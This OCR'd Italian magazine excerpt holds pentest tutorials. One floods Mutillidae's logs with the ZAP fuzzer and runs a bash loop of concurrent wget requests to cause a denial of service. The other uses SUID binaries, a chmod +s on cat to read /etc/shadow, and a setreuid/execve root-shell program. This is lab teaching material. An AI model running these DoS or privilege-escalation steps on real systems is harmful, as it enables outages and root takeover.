DOV’È IL VOSTRO TELEFONINO? Se volete localizzare
la posizione esatta in cui si trova lo smartphone
cliccate su Trova telefono. Attendete qualche secondo
prima di vedere apparire la posizione approssimativa
sulla cartografia di Google Maps. Potete far squillare
lo smartphone con un clic su Fai squillare.
31 
 SICUREZZA

SECONDA PARTE

Attacc o a i l o g !
m od i pe r attaccare un sistema di log…
E si st on o m olti

P
roseguiamo la nostra
verifica di sicurezza
approfondendo l’analisi
del meccanismo di log
offerto da Mutillidae, una delle
Web app ospitate dalla nostra
“palestra per pentester”, la rete che
utilizziamo per migliorare le nostre
skill di penetration tester in erba al
riparo da ogni conseguenza legale.
VISUALIZZARE I LOG
Mutillidae si sta rivelando una vera
e propria “miniera d’oro” per noi
aspiranti pentester: nell’ultimo
numero ci siamo soffermati sulla
pagina Show Log, accessibile
mediante l’omonimo link posto
nel menu superiore di Mutillidae.
Si tratta di una pagina all’apparenza
piuttosto elementare, che si limita
a visualizzare una tabella in cui è
elencato ogni singolo accesso degli
utenti alla Web app, illustrandone
le seguenti informazioni [figura
#1]: il nome mnemonico dell’host
che ha effettuato la visualizzazione;
il suo indirizzo IP; il browser
utilizzato; la pagina visualizzata;
la data e l’ora.
figura #1
XSS & RESET
Poiché alcuni di questi dati possono
essere determinati dall’utente
(in particolare, il dato relativo
al browser utilizzato, che abbiamo
scoperto coincidere con il campo
User-Agent della richiesta HTTP),
nel corso dell’ultima puntata siamo
riusciti a portare a segno un attacco
di tipo stored XSS, inserendo codice
JavaScript all’interno della pagina
[figura #2]. Si tratta di un ottimo
risultato, che tuttavia interferisce
con qualsiasi ulteriore attività sulla
pagina stessa: per fortuna,
Mutillidae ci offre un modo rapido
e indolore per “pulire” i log,
attraverso il link Delete Logs.
Dopo averlo cliccato, la pagina
Show Log si mostrerà priva
di contenuti [figura #3],
consentendoci di iniziare
una nuova esercitazione.

ATTACCO ALLA DISPONIBILITÀ

L’attacco che abbiamo visto nella
La pagina Show-Log, con alcuni scorsa puntata, infatti, costituisce
log già presenti in tabella. solo un esempio di quanto possa

 32

essere pericolosa per la sicurezza
di un sistema una scorretta
gestione dei log: ma i problemi
non si fermano qui.
Un attaccante particolarmente
astuto può sfruttare in modi diversi
dei log privi della necessaria
cornice di sicurezza, arrivando
a compromettere l’intero server
Web o, addirittura, a bloccarne
il funzionamento.
In assenza di adeguate
contromisure, un malintenzionato
può quindi rivolgere il meccanismo
di logging contro il sistema stesso,
sfruttando le operazioni ordinarie
per provocare una produzione
massiva di log: la gestione
di registrazioni particolarmente
corpose richiede un importante
uso di risorse (sia sotto il profilo
computazionale, sia per
lo spazio disco necessario
alla memorizzazione
delle informazioni, sia per la banda
d i t e s t c o m p l e t o
Un ambiente
Internet
Backbone
211.100.1.1
210.100.1.2
PENETRATION TEST
figura #2
La pagina Show-Log attaccata tramite XSS.
necessaria alla loro trasmissione, SERVIZIO NEGATO!
qualora prevista), che per forza Si tratta di una classe di attacchi
di cose vengono sottratte piuttosto diffusa, soprattutto
a quelle normalmente adoperate nella sua variante distribuita
per fornire i servizi. (DDoS, ovvero Distributed Denial
Alla lunga, se la maggior parte of Service), condotta attraverso
delle risorse è impegnata l’impiego di molteplici vettori
nell’attività di produzione d’attacco in grado di impegnare
(o visualizzazione) dei log, contemporaneamente le risorse
l’operatività del sistema degrada, del sistema target, sino
sino a bloccare completamente a decretarne l’esaurimento.
i servizi erogati: insomma, Non a caso in ambito Web
un attacco Denial of Service (DoS) (ambiente in cui questo tipo
in piena regola! di attacchi costituisce una vera
Rete
211.100.1.2 Target
Server
212.100.1.3 FTP
Router
212.100.1.1
212.100.1.2
Pentester Server
210.100.1.1 Web
All’URL https://bit.ly/palestra_hj
trovate le istruzioni per creare
la palestra virtuale. 33 
 SICUREZZA
figura #3 da sperimentare nel corso di una
verifica di sicurezza: spesso, per
evitare danni alle infrastrutture
testate e le perdite economiche
generalmente associate alle
interruzioni dei servizi, i contratti
di penetration test prevedono
esplicitamente il divieto di
effettuare attacchi deliberati
Dopo aver cliccato su “Delete Logs”, di questo tipo. Per fortuna,
la pagina Show-Log ritorna priva la nostra “palestra” non presenta
di contenuto informativo. tali limitazioni.

RIEMPIRE I LOG
Se vogliamo causare un Denial
of Service, la prima operazione
da compiere è forzare la Web app
a storicizzare un numero elevato
di log, in modo che una successiva

figura #4 visita alla pagina “View Log”

(e la conseguente interrogazione
La schermata della protezione DDoS di CloudFlare. e visualizzazione dei suddetti log)
comporti un onere insostenibile
e propria piaga) si sono diffusi della visita dell’utente legittimo; per il server Web.
con il tempo diversi servizi • blocco dell’accesso da parte Quello che ci occorre è un numero
di protezione da DDoS: a chi di voi di utenti sospetti. di log non realizzabile con
è mai capitato, nel corso di una strumenti manuali: in altre parole,
ordinaria e innocente sessione DOS & PENTEST abbiamo bisogno di un tool che
di navigazione Web, di imbattersi Nonostante la frequenza con cui automatizzi il processo, ovvero che
nella schermata relativa a un vengono rilevati, gli attacchi di tipo visiti per conto nostro le pagine
sistema di mitigazione DDoS DoS risultano abbastanza difficili di Mutillidae più e più volte.
(per esempio, quello di CloudFlare,
[figura #4])? Stiamo parlando
di sistemi che si frappongono
figura #5
tra l’utente e il sito Web protetto,
intervenendo – qualora ravvisino
un picco di traffico sospetto
e/o degli accessi da indirizzi IP
presenti in un’apposita blacklist
– mediante il:
• differimento di qualche secondo

La schermata principale
di ZAP, il vulnerability
scanner per Web app che
stiamo utilizzando in
questa serie di articoli.

 34

Selezioniamo
il cookie
PHPSESSID
per
modificarne
il valore
con il fuzzer.
OWASP ZAP
Qualcosa come
un fuzzer, insomma:
una funzionalità che ormai
sappiamo essere offerta da
OWASP ZAP (Zed Attack Proxy),
il vulnerability scanner impiegato
con successo nelle scorse puntate.
Per avviarlo, selezioniamo 03
– Web Application Analysis | ZAP
dal menu d’avvio della distro
e ignoriamo la finestra relativa
all’uso di una sessione persistente.
Passiamo all’esplorazione manuale
di Mutillidae:
• selezioniamo l’icona con il fulmine
su sfondo verde posta all’interno
del pannello destro della finestra
principale di ZAP [figura #5];
• inseriamo, nel campo URL to
explore, l’URL di Mutillidae (http://
www.labpentest.hj/mutillidae);
• premiamo Launch browser.
Verrà avviato un browser ad hoc
già configurato da ZAP per
utilizzare il vulnerability scanner
come proxy. Non c’è bisogno di
PENETRATION TEST
figura #6 Il menu per
avviare il
fuzzer, il tool
per il brute
force dei
sistemi.
figura #7
dilungarsi in un’analisi manuale di
Mutillidae: è sufficiente visitare un
paio di pagine della Web app, in
modo che il tool possa acquisire le
relative richieste HTTP e consentirci
di passarle al fuzzer. Completata
questa operazione, torniamo alla
schermata principale di ZAP,
clicchiamo con il tasto destro del
mouse sul nome della pagina
(GET:index.php) e selezioniamo
dal menu contestuale Attack
| Fuzz [figura #6]. In questo modo
possiamo visualizzare la richiesta
HTTP originale all’interno della
finestra dedicata al fuzzer: quello
che ci serve, adesso, è trovare
un campo da variare in modo
da generare molteplici richieste.
UN USO CREATIVO
In questa sede siamo infatti
interessati a un utilizzo del fuzzer
un po’ “fuori dagli schemi”:
generalmente questo tipo di tool
viene impiegato per ricercare
quel particolare valore in grado di
generare una risposta significativa
nel server Web (un errore, un
accesso non autorizzato, ecc.).
Per i nostri attuali scopi, invece,
è sufficiente che il fuzzer produca
molteplici richieste HTTP verso una
qualsiasi pagina di Mutillidae: ogni
visita produrrà l’aggiunta di una
riga nella tabella della pagina “View
Log”, la cui successiva
visualizzazione comporterà
(auspicabilmente) la temporanea
interruzione del servizio Web.
PRODURRE LE RICHIESTE
Proviamo a variare il valore del
cookie PHPSESSID, che identifica
la sessione PHP: in fin dei conti,
non abbiamo effettuato alcun login
Mutillidae
Mutillidae è una Web
application didattica, Open
Source e liberamente
installabile da chiunque
intenda migliorare le proprie
capacità di pentester. Rispetto
ad altre Web app simili (come
“Damn Vulnerable Web
Application” - DVWA, che
abbiamo visto nelle puntate
precedenti) si contraddistingue
per il suo approccio basato
sulle vulnerabilità appartenenti
alla lista denominata “OSWAP
Top 10” (www.owasp.org), che
racchiude le 10 falle più diffuse
in ambito Web. Sotto questo
profilo Mutillidae ci offre un
ambiente addestrativo
privilegiato, consentendo di
confrontarci con le diverse
incarnazioni di ciascuna delle
vulnerabilità incluse nella
“OSWAP Top 10”.
35 
 SICUREZZA

figura #8 figura #9

La finestra per
aggiungere un
payload.
Il payload selezionato invierà al
server Web 10.000 richieste per
altrettanti valori distinti (da 1 a
10.000) del cookie.

all’applicazione, e quindi non increment, così da incrementare Log” produca la temporanea

rischiamo che la modifica di tale
valore ci “lasci fuori” dall’area
riservata di Mutillidae.
Selezioniamo quindi il valore
attuale che il cookie PHPSESSID
assume nella richiesta HTTP [figura
#7], per poi cliccare sul pulsante
Add per impostare il fuzzing. ZAP
ci mostrerà una seconda finestra
[figura #8] per la selezione della
tipologia di payload da utilizzare
con il cookie: per i nostri scopi,
è sufficiente cliccare sul pulsante
Add, quindi scegliere la voce
Numberzz. Effettuata la selezione
del payload, configuriamone i
parametri in modo da inviare un
numero congruo (diciamo 10.000,
per iniziare) di richieste HTTP alla
Web app. A tal fine impostiamo:
• al valore 1 il parametro from,
che rappresenta il valore iniziale
da attribuire al cookie;
• al valore 10.000 il parametro to,
ovvero il valore massimo
per PHPSESSID;
• a 1 il valore del parametro
di una sola unità il valore del
cookie tra una richiesta e l’altra.
ALL’ATTACCO!
Terminate queste operazioni,
confermiamo le nostre scelte con
il pulsante Add, seguito da un click
sul pulsante OK. Una rapida
occhiata alla schermata
riepilogativa presentataci da ZAP
[figura #9], da chiudere premendo
il pulsante OK, e siamo pronti
a partire: basterà selezionare il
pulsante Start fuzzer e ZAP
inizierà a inviare una richiesta HTTP
per ciascuno dei 10.000 valori del
cookie PHPSESSID che abbiamo
configurato. Possiamo seguire
i progressi del nostro attacco dal
pannello inferiore della finestra,
ove è prevista anche una comoda
barra d’avanzamento. Una volta
che la barra avrà raggiunto il 100%
[figura #10], non ci resta che
verificare il nostro operato: sono
sufficienti 10.000 record affinché
visualizzazione della pagina “View
interruzione del servizio Web?
Come possiamo notare visitando
la pagina [figura #11], la risposta
è no: rispetto alle visualizzazioni
precedenti, tuttavia, la pagina
risente di una lentezza nel
caricamento appena percettibile,
il che potrebbe significare
che siamo sulla buona strada.
ALZARE LA POSTA
Proviamo allora ad “alzare la
posta”: anziché 10.000 richieste,
perché non aggiungiamo ben
50.000 richieste HTTP, portando di
conseguenza a 60.000 il numero di
righe della tabella da visualizzare?
È sufficiente reiterare il
procedimento appena visto,
avendo cura di impostare a 50.000
il parametro to del payload
Numberzz. Una volta completata
la configurazione del fuzzer [figura
#12] avremo bisogno di un’attesa
decisamente più lunga della
precedente (quindi armatevi di
pazienza!) prima di poter verificare

figura #10

L’invio interattivo delle richieste HTTP da parte del fuzzer.

 36

(reiterando la visita alla pagina
“View Log”) se siamo riusciti a
bloccare il server Web. Purtroppo
nemmeno 60.000 record sono
sufficienti, sebbene questa volta
il degrado nei tempi di caricamento
sia innegabile...
CAMBIARE PARADIGMA
Possiamo riuscire a bloccare
la disponibilità del servizio Web
incrementando ulteriormente
il numero di log tracciati da
Mutillidae? Probabilmente sì,
ma non si tratta del metodo più
rapido esistente: per raggiungere il
nostro scopo, dovremmo ampliare
considerevolmente il numero di
log presenti nella pagina (e i tempi
d’attesa necessari per produrli). Il
rallentamento del server Web che
abbiamo rilevato, infatti, non è
imputabile ai log veri e propri e alla
loro conservazione, quanto
piuttosto allo sforzo (in termini di
risorse computazionali e di banda)
necessario al loro trasferimento.
In quest’ottica, abbiamo due strade
dinanzi a noi, legate a due diversi
modi di vedere la questione:
possiamo richiedere al server uno
sforzo maggiore (e si spera
eccessivo per la sua operatività)
aumentando il numero (e quindi la
dimensione complessiva) dei log…
oppure possiamo richiedere
contemporaneamente gli stessi log
più volte. In altri termini, dobbiamo
passare da un attacco Denial
of Service a un attacco di tipo
Distributed Denial of Service.
DDOS E CONTROMISURE
In condizioni ordinarie, questo
tipo di attacchi richiede la
collaborazione di un certo numero
di computer (la parola Distributed
fa riferimento proprio a una
PENETRATION TEST
pluralità di singoli attacchi DoS
coordinati). Vista l’organizzazione
della nostra “palestra”, quello che
eseguiremo non sarà un attacco
DDoS vero e proprio, ma una sua
simulazione, ottenuta mediante
ricorso a una sola macchina, la VM
Pentester. Si tratta di una
soluzione che può funzionare solo
in un ambiente come il nostro
laboratorio virtuale, in quanto
sarebbe facilmente “disarmata” in
uno scenario reale, caratterizzato
da adeguate contromisure poste
a protezione del server Web (per
esempio, un Intrusion Detection
System in grado di bloccare
richieste reiterate provenienti dal
medesimo IP prima che queste
possano produrre effetti negativi
come un’interruzione del servizio).
SIMULARE IL DDOS
Fatta questa doverosa premessa,
passiamo all’attacco vero e proprio.
Come possiamo simulare un DDoS
utilizzando una singola macchina?
Concettualmente, non si tratta
di un problema particolarmente
Andiamo
sul pesante:
altre 50.000
richieste
HTTP!
difficile: è sufficiente inviare
richieste HTTP multiple – e,
soprattutto, concomitanti – verso
la pagina “View Log”. A meno
che le vostre non siano le dita più
veloci del Web, avrete bisogno
di automatizzare anche questa
procedura, facendo ricorso
a un piccolo script. Piuttosto che
utilizzare il browser, possiamo
appoggiarci a un tool come wget
che, sebbene sia pensato per il
download di contenuti, si presta in
maniera perfetta per i nostri scopi.
L’architettura del World Wide Web,
infatti, comporta che il download
di risorse avvenga previo invio
al server di un’apposita richiesta
HTTP: di conseguenza, un
comando come
# wget http://www.labpentest.
hj/mutillidae
comporta l’invio di una richiesta
HTTP a Mutillidae, tesa a ottenere
il codice HTML della pagina http://
www.labpentest.hj/mutillidae. Tale
codice sarà poi salvato in locale,
figura #11 La pagina
Show-Log
mostra tutte
le richieste
inviate dal
fuzzer.
figura #12
37 
 SICUREZZA
figura #13

Lo script per simulare

un DDoS. figura #14 L’esecuzione
dello script
per il DDoS.
unitamente alle risorse (come
le immagini) richiamate visitare la pagina
direttamente dalla pagina HTML. con il browser
mentre lo script
SCRIPT & DDOS è in esecuzione
Analogamente, il comando [figura #15 e #16].
In questo caso,
# wget http://www.labpentest. il server Web
hj/ mutillidae/index.php? ci mostra un
page=show-log.php avviare il download per poi apposito messaggio d’errore
rallentare e bloccarsi, per la proprio a causa dell’elevato carico
produce una richiesta HTTP verso maggior parte di esse risulta a cui lo abbiamo sottoposto:
la pagina “Show Log”: ovvero quello impossibile anche soltanto in altre parole, abbiamo appena
di cui abbiamo bisogno. Per scaricare un byte [figura #14]! concluso con successo un vero
simulare un DDoS è quindi Lo stesso accade se proviamo a attacco DoS!
sufficiente avviare un certo
numero (dieci, per iniziare) di
istanze concomitanti di wget, figura #15
utilizzando uno script [figura #13]:

#!/bin/bash
for i in {1..10};
do
(wget http://www.
labpentest.hj/ mutillidae/
index.php? page=show-log.
php&);
done
Ecco cosa accade se proviamo a visualizzare una
Salviamo lo script come ddos.sh pagina di Mutillidae durante l’esecuzione dello
e avviamolo con #bash ddos.sh. script: la pagina ci segnala un errore di
connessione al db MySQL, sia in cima…
GAME OVER!
Cosa succede quando il nostro
codice viene avviato? Esattamente
figura #16
quello che abbiamo richiesto:
le dieci istanze di wget richiedono
contemporaneamente la pagina
“Show Log”... e se le prime
riescono, effettivamente, ad

… che nei contenuti

veri e propri!

 38
HOW TO
buffer overflow Questione di privilegi
Ritrovarsi da utente privilegiato all’interno di un sistema permette di comprendere la dinamica
che si nasconde dietro a un attacco di tipo buffer overflow...................................................................... 40

mitm La spia sta nel mezzo, seconda parte

Dopo aver preparato il server DHCP, vedremo come installare e configurare Mitmproxy................ 46

log di windows Accessi al filesystem svelati!

Continuiamo a tracciare gli accessi al filesystem del nostro PC! ..............................................................50
 HOW TO
Questione di privilegi
TE RZ A PA RT E
Ritrovarsi da utente privilegiato all’interno di un sistema
permette di comprendere la dinamica che si nasconde
dietro a un attacco di tipo buffer overflow
S
iamo così giunti al terzo
IN BREVE 
appuntamento dedicato
Studiamo la ai buffer overflow.
condizione d’errore
Ricordiamo le tappe finora
di un programma
chiamata buffer percorse; nel primo appuntamento è
overflow per capire stata descritta in linea di principio
come viene sfruttata l’organizzazione della memoria per un
dai pirati per compiere processo. Nella seconda parte, invece,
azioni malevole. è stato riportato un semplice esempio
DIFFICOLTÀ di programma vulnerabile attraverso il
quale è stato illustrato in cosa consiste,
all’atto pratico, la sovrascrittura
dell’indirizzo di ritorno che potrebbe
portare come conseguenza un crash
del programma o, nel caso peggiore,
l’esecuzione di codice arbitrario.
Va da sé come quest’ultimo scenario
risulti il più appetibile da un attaccante
perché se riesce a imporre quale
codice eseguire significa che può
Breve legenda dei
permessi assegnabili dirottare l’esecuzione del programma
a un file in un sistema e fare eseguire ciò che più gli interessa.
GNU/Linux. Ma c’è di più: se un programma viene
figura #1
 40
eseguito in modalità privilegiata,
allora il dirottare la sua esecuzione
permette all’attaccante di acquisire
i medesimi permessi con il risultato
di ritrovarsi come utente privilegiato
all’interno di un sistema, con tutte
le conseguenze del caso.
ACCESSI, PROCESSI E UTENTI
La natura multiutente di un sistema
GNU/Linux ha comportato, fin dalla
sua nascita, lo studio di un meccanismo
di controllo per gli accessi affinché
l’utente X non possa andare a
curiosare/distruggere/alterare i file
presenti nella home di un utente Y. Per
tale motivo qualsiasi file presente nel
filesystem di un sistema GNU/Linux, di
base, è caratterizzato da un controllo
degli accessi abbastanza elementare
ma più che sufficiente a evitare, nella
maggioranza dei casi, ingerenze
di utenti terzi registrati nello stesso
sistema. Per ogni file si può identificare
una ennina (9 valori) di permessi base
raggruppati in 3 terzine. Ci si può
rendere conto dell’affermazione
impartendo il comando ls -l per vedere
nella prima colonna una serie di
caratteri come la sequenza visibile
in [figura#1]. Il primo a sinistra – non
racchiuso da alcun contorno – indica il
tipo di file; in presenza del simbolo “–“
si parla di un file regolare, se presente
una d si ha una cartella, la presenza di
una l (elle) indica un link simbolico, una
c un dispositivo a caratteri, una b un
dispositivo a blocchi, una p una fifo

o una pipe e infine una s sta
a indicare un socket. I rimanenti
9 caratteri sono raggruppati in 3
terzine in base alla legenda visibile
sempre in [figura#1] e nella quale
è possibile vedere come il
proprietario del file possa leggerne
e scriverne il contenuto e anche
eseguirlo, per esempio nel caso
in cui si stia parlando di uno script.
L’utente appartenente al gruppo
proprietario del file può leggerlo
e mandarlo in esecuzione ma
non modificarlo. A tutti gli altri
non è permesso fare nulla.
Una situazione di questo tipo
viene identificata con la sequenza
numerica 750. Infatti il peso
assegnato a r è 4, a w viene
assegnato 2, infine è 1 in presenza
di una x per l’esecuzione. Per le
cartelle il permesso di “esecuzione”
sta semplicemente a indicare al
kernel che l’utente – se in possesso
del requisito – può attraversare
la directory corrispondente. In
GNU/Linux è parimenti importante
conoscere come il sistema gestisca
utenti e processi. Una delle
peculiarità di un sistema UNIX
– e GNU/Linux in tal senso non
fa eccezione – è che un processo
(sinonimo di programma nella
BUFFER OVERFLOW
figura #2
nostra accezione) in esecuzione
sulla macchina può generare altri
processi detti processi figli (child
process). Ogni processo viene
identificato da un numero univoco
progressivo detto PID (Process
IDentifier) che viene assegnato
dal kernel al momento della sua
creazione. Va da sé che il numero
non potrà assumere valori
comunque elevati ma avrà un suo
limite superiore e ciò a evitare
attacchi DoS (Denial of Services)
che potrebbero portare
all’esaurimento di una risorsa
(tipicamente la memoria RAM)
e quindi all’impossibilità di
utilizzare il sistema in quanto
bloccato. Per tale motivo viene
imposto un valore massimo
che, di default, viene stabilito nelle
varie distribuzioni a 4.194.304;
si può far uso del comando
cat /proc/sys/kernel/pid_max
per la verifica. Poiché ogni
Un buffer overflow è l’equivalente
informatico del travasare un bicchiere
di grande capacità in uno di capacità
inferiore: il liquido in eccesso trabocca
Output comandi cat, id e ps
a sinistra. File group e passwd
a destra.
processo verrà sempre generato
da un altro processo è evidente
come sia possibile definire anche
un processo padre (parent
process) identificato dalla sigla
PPID (Parent Process ID). Quanto
detto è valido per tutti i processi
tranne che per quello avviato
al termine della fase di boot
dal kernel noto per essere
il padre di tutti i processi.
Identificato, potremo dire per
“retrocompatibilità”, come init
e presente in /usr/sbin/, oggi per
la maggior parte delle distribuzioni
è un link simbolico a systemd.
Di quanto detto è possibile fare
un’immediata verifica impartendo
il comando ps -ef e osservando
la seconda e terza colonna
rispettivamente per il PID e il PPID.
I suddetti identificatori
permettono di definire
univocamente un processo e chi
è il suo genitore, ma come fa
il sistema operativo a capire chi
ha lanciato quel dato processo?
Andando a indagare un po’ più a
fondo si scopre che ogni processo,
oltre al PID e al PPID, mantiene
diversi altri identificativi e in
particolare dell’utente che lo ha
lanciato e al gruppo – o ai gruppi
– al quale appartiene. Il kernel
identifica ogni utente e il suo
gruppo di appartenenza con
numeri interi siglati UID (User ID)
e GID (Group ID). Le informazioni
41 
 HOW TO
dell’associazione utente-UID/GID
sono riportate rispettivamente
figura #3
nei file /etc/passwd e /etc/group.
Informazioni che è possibile
ottenere impartendo, senza
aggiungere argomenti, il comando
id, il quale fornirà in uscita UID,
GID e gruppi di appartenenza per
l’utente che esegue il comando
[figura #2]. Queste sono le
informazioni di base utilizzate
dal kernel per il controllo degli
accessi. Ma sono sufficienti per la
gestione in sicurezza dei processi?
La risposta è no, infatti ogni
processo possiede ulteriori
identificatori detti real come
il RUID (Real User ID) e il GUID
(Group User ID) che definiscono,
rispettivamente, l’utente che ha
creato/lanciato il processo e il suo
La sequenza dei comandi riportata nell’articolo.
gruppo di appartenenza. Ma gli
identificatori ai quali il kernel si
affida per il controllo degli accessi
figura #4
sono gli effective ovvero lo EUID
(Effective User ID) e lo EGID
(Effective Group ID). Questi
servono a determinare se un
processo possa o meno eseguire
le operazioni richieste a seconda
dei privilegi e dell’identità di chi lo
ha posto in esecuzione. In genere
RUID e EUID coincidono e sono
uguali all’UID come è facile
verificare impartendo ps -o
pid,ppid,uid, gid,euid,egid,ruid,
rgid,suid,sgid,cmd a meno
che non si stia utilizzando un
programma con i permessi
speciali. Volutamente, infatti, nel
precedente comando sono stati
inseriti ulteriori due identificativi
come il SUID (Set User ID) e lo
SGID (Set Group ID). Alla ennina
di permessi ordinari riportati
in precedenza, per completezza
di informazione ancorché L’output del programma di test che richiama il comando whoami.

 42

Il comando man citato più volte
nell’articolo è il manuale in linea
dei sistemi UNIX/Linux e fornisce
le istruzioni d’uso dei vari comandi
propedeutici per l’argomento
in questione, occorre aggiungere
3 permessi speciali; oltre a quelli
già indicati il terzo è lo sticky bit.
Essi vengono utilizzati per poter
modificare il comportamento del
sistema nell’esecuzione dei
programmi e senza i quali alcune
operazioni sarebbero precluse
agli utenti ordinari e il sistema
GNU/Linux sarebbe per certi versi
inutilizzabile. Comandi come
passwd, ping, crontab e
traceroute sono tipici programmi
con bit SUID impostato, come è
facile verificare con ls -l /usr/bin/
ping che mostra in prima colonna
-rwsr-xr-x. Infatti quando è attivo
il bit SUID o il bit SGID verrà
riportata una s nella posizione
del permesso di esecuzione per
utente e gruppo. La presenza di
una S (maiuscola), invece, indica
che il corrispondente permesso
di esecuzione – su utente
proprietario e/o gruppo – non è
attivo. Come “peso numerico” il
SUID ha valore 4, lo SGID 2 e 1 per
lo sticky bit. Pertanto se a un file
vengono assegnati i permessi
con chmod 4770 miofile,
si sta indicando un programma
nel quale il SUID è attivo, il
proprietario così come il gruppo di
appartenenza hanno permessi di
lettura-scrittura-esecuzione, tutti
gli altri non possono fare nulla.
CAMBIARE I “CONNOTATI”
Il comando cat fa riferimento a un
programma in /usr/bin – come è
BUFFER OVERFLOW
facile verificare con which cat
– che permette, tra le altre cose,
di visualizzare del testo sullo
standard output (il terminale).
L’eseguibile ha permessi
-rwxr-xr-x e anche qui la verifica
è semplice con ls -l /usr/bin/cat,
dove in terza e quarta colonna
è visibile l’appartenenza del file a
proprietario e gruppo (root e root
nello specifico). L’utente ordinario
non può, quindi, andare a leggere
file appartenenti all’utente root,
infatti se provassimo a leggere il
contenuto del file che memorizza
l’hash della password di login con
cat /etc/shadow otterremmo un
laconico permesso negato, come
visibile in [figura #3]. Se però
proviamo a impostare con le
credenziali dell’amministratore
(o utilizzando sudo per quelle
distribuzioni che lo attivano di
default) il bit SUID utilizzando
chmod +s /usr/bin/cat, ecco che
una lettura del file shadow risulta
possibile anche da utente normale
mettendo così a nudo l’hash
delle password di accesso
dell’amministratore così come
dell’utente con tutti i pericoli del
caso! Per ristabilire le condizioni
precedenti sull’eseguibile/
programma cat – non lo si
dimentichi! – si utilizzi -s con
chmod. All’atto pratico il
configurare un programma con
il bit SUID attivo implica imporre
al kernel di impostare lo EUID del
processo all’UID del proprietario
del file. Medesime considerazioni
valgono per lo SGID attivato
il quale impone al kernel di
impostare lo EGID del processo
uguale al GID del file.
Per dimostrare quanto affermato
è sufficiente considerare il
seguente semplice programmino:
#include <unistd.h>
int main()
{
char *arg[2];
arg[0] = “whoami”;
arg[1] = NULL;
return execvp(arg[0],arg);
}
Esso invoca l’eseguibile whoami
che mostra lo username
dell’utente che lo lancia, infatti
il comando altro non è che il
significato della frase “Who am I?”,
letteralmente “chi sono io?”. Il
comando viene richiamato tramite
l’ausilio della funzione execvp()
della libreria standard glibc (man
3 execvp per approfondimenti).
Salviamo le poche righe in un file
che chiameremo chisonoio.c,
quindi provvediamo
alla compilazione con
gcc -o chisonoio chisonoio.c
che genererà l’eseguibile
chisonoio che avvieremo con
./chisonoio, con il risultato di
poter leggere sull’output il nostro
username. Ora facciamo in modo
che il proprietario diventi l’utente
root utilizzando da utente
amministratore – altrimenti
l’operazione non sarà permessa
– o anteponendo sudo, il comando
chown root.root chisonoio.
Lanciando nuovamente
l’eseguibile da utente ordinario
43 
 HOW TO
Schema
semplificato per
la generazione
di un eseguibile.
l’output è ancora il suo username.
Come ulteriore passaggio
proviamo ad abilitare – come
utente amministratore poiché
è un’operazione che si può fare
solo avendo i permessi di root
– il bit SUID con chmod u+s
chisonoio. Se ora da utente
ordinario provassimo a lanciare
l’eseguibile ecco che sorpresa (ma
nemmeno tanta) l’output risulta
root [figura #4] a dimostrazione
che il comando whoami è stato
eseguito con i privilegi dell’utente
amministratore!
PROVIAMO CON UNA SHELL?
Nel file chisonoio.c sostituiamo
la riga arg[0] = “whoami”; con
arg[0] = “./rootshell”;, quindi
procediamo di nuovo alla sua
compilazione come riportato
in precedenza al fine di ottenere
il nuovo eseguibile modificato
e al quale imporremo l’utente
root e attiveremo il bit SUID
esattamente come fatto
in precedenza.
Ora nella stessa cartella dove
è presente l’eseguibile chisonoio
andiamo a creare un file
di nome rootshell.c
con le seguenti righe:
 44
#include <stdlib.h>
#include <unistd.h>
int main()
{ che a sua volta richiamerà il
char *arg[2];
arg[0] = “/bin/sh”;
arg[1] = NULL;
setreuid(0,0);
return
execve(arg[0],arg,0x00);
} Un aspetto importante che
procedendo alla sua compilazione
con il comando gcc -o rootshell
rootshell.c. La procedura creerà
l’eseguibile rootshell per il quale
non modificheremo alcun
permesso; il programma
apparterrà all’utente ordinario
che lo ha compilato e non verrà
impostato nemmeno il bit SUID.
Nelle poche righe compilate
si ha sempre un puntatore
ad array di 2 elementi di tipo char
seguito dall’assegnazione del loro
contenuto e dalla chiamata alla
funzione setruid() – man 2
setreuid per approfondimenti
– che imposta gli identificatori real
ed effective a root, notare infatti
i due 0 come argomenti,
operazione possibile solo se chi
lo mette in esecuzione ha EUID
figura #5
di root come lo ha l’eseguibile
chisonoio. A questo punto
avviamo il programma chisonoio,
programmino rootshell, e… ops,
ecco una shell aperta con UID 0
(root) come è facile verificare
impartendo il comando id!
NO ALLE LIBRERIE DINAMICHE!
non dovrà e non potrà essere
trascurato quando si vuole
decompilare un programma per
iniettarne l’op-code riguarda il non
uso delle librerie dinamiche.
Per comprenderne il motivo
occorre ricordare la dinamica
che sta dietro la compilazione
di un sorgente in C che si sviluppa
in quattro fasi.
• Nella prima, detta di
preprocessing, attraverso due
direttive come #include e #define
vengono, rispettivamente, inclusi
nel sorgente da compilare
i contenuti di un file e sostituita
una sequenza di caratteri con
un’altra creando, se richiesto,
un file programma.i. Direttive
più avanzate prevedono
la compilazione condizionale
e macro con argomenti.

• Fa seguito la fase di compilazione
nella quale il compilatore converte
il programma in linguaggio
Assembly generando, se richiesto,
un file programma.s. A questo
livello si hanno istruzioni
mnemoniche (viste nel precedente
appuntamento e che
riprenderemo nel successivo)
ancora comprensibili
dal programmatore ma
incomprensibili dal computer, per
tale motivo risulta indispensabile
la terza fase detta assembling
nella quale viene generato
il file oggetto programma.o.
• A questo punto, per generare
l’eseguibile da lanciare, dovranno
essere collegate le librerie
figura #6
Schema di principio risoluzione librerie e caricamento
in memoria programma.
BUFFER OVERFLOW
I buffer overflow accadono quando
i programmatori non seguono
le corrette metodologie di scrittura
del codice sorgente dei programmi
utilizzate dal programma e per tale
motivo la fase finale vede il linking
che genererà il file ELF (Executable
and Linkable Format) di default
con estensione .out del tipo
programma.out, o senza
estensione alcuna se comandato
al compilatore. Se viene
riscontrato un errore nella fase
di linking l’eseguibile non verrà
generato.
Qualora la libreria venga
implementata dinamicamente
essa non sarà contenuta nel
programma compilato ma sarà
presente come riferimento
esterno al file libreria.so (shared
object, oggetto condiviso) che
dovrà essere installata nel sistema
operativo, altrimenti il programma
non si avvierà. Se la libreria viene
implementata staticamente,
l’eseguibile conterrà il file
associato libreria.a. Pertanto un
eseguibile linkato dinamicamente
sarà molto snello ma necessiterà
di un maggior tempo per il
caricamento poiché la libreria
dovrà essere cercata nel filesystem
e caricata. Ora è chiaro il motivo
per il quale se l’eseguibile presenta
un collegamento a una libreria
dinamica non sarebbe possibile
effettuarne una decompilazione
poiché fisicamente essa non è
presente nell’eseguibile. L’elenco
delle librerie dinamiche dalle quali
dipende il programma si ottiene
tramite il comando ldd (man ldd).
A questo punto si ha a
disposizione un eseguibile pronto
a essere lanciato [figura #5],
ma la sua esecuzione è possibile
solo se caricato in memoria.
